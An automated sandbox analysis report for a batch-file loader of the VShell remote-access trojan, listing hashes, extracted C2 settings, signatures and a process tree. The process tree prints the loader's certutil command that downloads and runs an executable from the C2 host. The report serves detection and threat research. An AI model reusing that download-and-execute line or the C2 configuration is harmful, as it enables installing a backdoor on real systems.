vshell | f39299ae28e51d097f386c346cfd524ce04215856a94fa5057c1fcc6d61beb43

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
26/08/2026, 06:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
windows.bat
Size 505B
Sample260826-g4mk2ahn3w
SHA256 f39299ae28e51d097f386c346cfd524ce04215856a94fa5057c1fcc6d61beb43
MD5 2b6cfcee5f393d57b3c933310966f8fa
SHA1 b614e4e1a1570baab213349cb3896984a35c9753
SHA512 73efde3b8f447698b6584c3d9ecf90b66c777537a3326c86e83a8b2fcca8db98c90677942e9288b3f59f7c90e11fb0d031d2174cd29fdd9499257eabd9875820
TLSH
T12CF09E8E403A2C760FC5C853B9C274C2B18A50D14FA2E5CC6FC167D93F856A929FF682
MD5 SHA1 SHA512 TLSH

Score

10^/10

backdoor execution vshell rat

Malware Config

Extracted

Family

vshell

ws://124.222.104.163

Attributes

port
8084
salt
qwe123qwe
type
ws
vkey
qwe123qwe

Signatures

Family: VShell
VShell is a cross-platform Go-based RAT and C2 framework targeting Windows and Linux.
backdoor rat vshell

Detects VSHELL Backdoor 1 IoCs

resource	yara_rule
behavioral1/memory/2256-8-0x0000000067D40000-0x0000000068534000-memory.dmp	family_vshell

Downloads MZ/PE file 2 IoCs

flow	pid	Process
5	412	certutil.exe
11	412	certutil.exe

Executes dropped EXE 1 IoCs

pid	Process
2256	9f2cf5ffws.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2144	cmd.exe
2680	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2256	9f2cf5ffws.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4804	WMIC.exe
Token: SeSecurityPrivilege	4804	WMIC.exe
Token: SeTakeOwnershipPrivilege	4804	WMIC.exe
Token: SeLoadDriverPrivilege	4804	WMIC.exe
Token: SeSystemProfilePrivilege	4804	WMIC.exe
Token: SeSystemtimePrivilege	4804	WMIC.exe
Token: SeProfSingleProcessPrivilege	4804	WMIC.exe
Token: SeIncBasePriorityPrivilege	4804	WMIC.exe
Token: SeCreatePagefilePrivilege	4804	WMIC.exe
Token: SeBackupPrivilege	4804	WMIC.exe
Token: SeRestorePrivilege	4804	WMIC.exe
Token: SeShutdownPrivilege	4804	WMIC.exe
Token: SeDebugPrivilege	4804	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4804	WMIC.exe
Token: SeRemoteShutdownPrivilege	4804	WMIC.exe
Token: SeUndockPrivilege	4804	WMIC.exe
Token: SeManageVolumePrivilege	4804	WMIC.exe
Token: 33	4804	WMIC.exe
Token: 34	4804	WMIC.exe
Token: 35	4804	WMIC.exe
Token: 36	4804	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4804	WMIC.exe
Token: SeSecurityPrivilege	4804	WMIC.exe
Token: SeTakeOwnershipPrivilege	4804	WMIC.exe
Token: SeLoadDriverPrivilege	4804	WMIC.exe
Token: SeSystemProfilePrivilege	4804	WMIC.exe
Token: SeSystemtimePrivilege	4804	WMIC.exe
Token: SeProfSingleProcessPrivilege	4804	WMIC.exe
Token: SeIncBasePriorityPrivilege	4804	WMIC.exe
Token: SeCreatePagefilePrivilege	4804	WMIC.exe
Token: SeBackupPrivilege	4804	WMIC.exe
Token: SeRestorePrivilege	4804	WMIC.exe
Token: SeShutdownPrivilege	4804	WMIC.exe
Token: SeDebugPrivilege	4804	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4804	WMIC.exe
Token: SeRemoteShutdownPrivilege	4804	WMIC.exe
Token: SeUndockPrivilege	4804	WMIC.exe
Token: SeManageVolumePrivilege	4804	WMIC.exe
Token: 33	4804	WMIC.exe
Token: 34	4804	WMIC.exe
Token: 35	4804	WMIC.exe
Token: 36	4804	WMIC.exe
Token: SeDebugPrivilege	2256	9f2cf5ffws.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2144 wrote to memory of 2680	2144	cmd.exe	87
PID 2680 wrote to memory of 4804	2680	cmd.exe	88
PID 2680 wrote to memory of 3500	2680	cmd.exe	89
PID 2144 wrote to memory of 412	2144	cmd.exe	91
PID 2144 wrote to memory of 2256	2144	cmd.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2144
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 64
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get osarchitecture
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4804
- - C:\Windows\system32\findstr.exe
    findstr 64
    3⤵
    PID:3500
- C:\Windows\system32\certutil.exe
  certutil.exe -urlcache -split -f "http://124.222.104.163:8084/?h=124.222.104.163&p=8084&t=ws&a=w64&stage=true" "C:\Users\Public\9f2cf5ffws.exe"
  2⤵
  - Downloads MZ/PE file
  PID:412
- C:\Users\Public\9f2cf5ffws.exe
  "C:\Users\Public\9f2cf5ffws.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2256

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

9f2cf5ffws.exe

Path C:\Users\Public\9f2cf5ffws.exe
Size 4KB
SHA256 d1e5bce108604abd536cdc6f63aeb11ed58f5098d9511c4f41e63aadc53a2bb8
MD5 c696c7191c03440f3b23427708245153
SHA1 ced1a7a6070a29e39008d3f4cc011218c3639a17
SHA512 c03efc7871b8b802c5d18799423e0bdc8e26ac9142e8267f490d9cbdf1e9b32da98993d1eb1f24523f6e9b5dd2a91ca966a32df944d1a85667eec05009ee3f7a
SSDEEP 48:6IIF9BlQaexqgZS7An0cF5uduvxRxUjbON9XM/ge93ahr0/:y9BOaML70cF50uDxUOvXeg
TLSH
T1DA91B44270B999E7E85D91BB4D0FB8A0B919740A41C483A60338A5993F3957BF57CB0E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2256-7-0x000002220A2B0000-0x000002220BF4D000-memory.dmp

Download

memory/2256-8-0x0000000067D40000-0x0000000068534000-memory.dmp

Download

memory/2256-18-0x000002220A2B0000-0x000002220BF4D000-memory.dmp

Download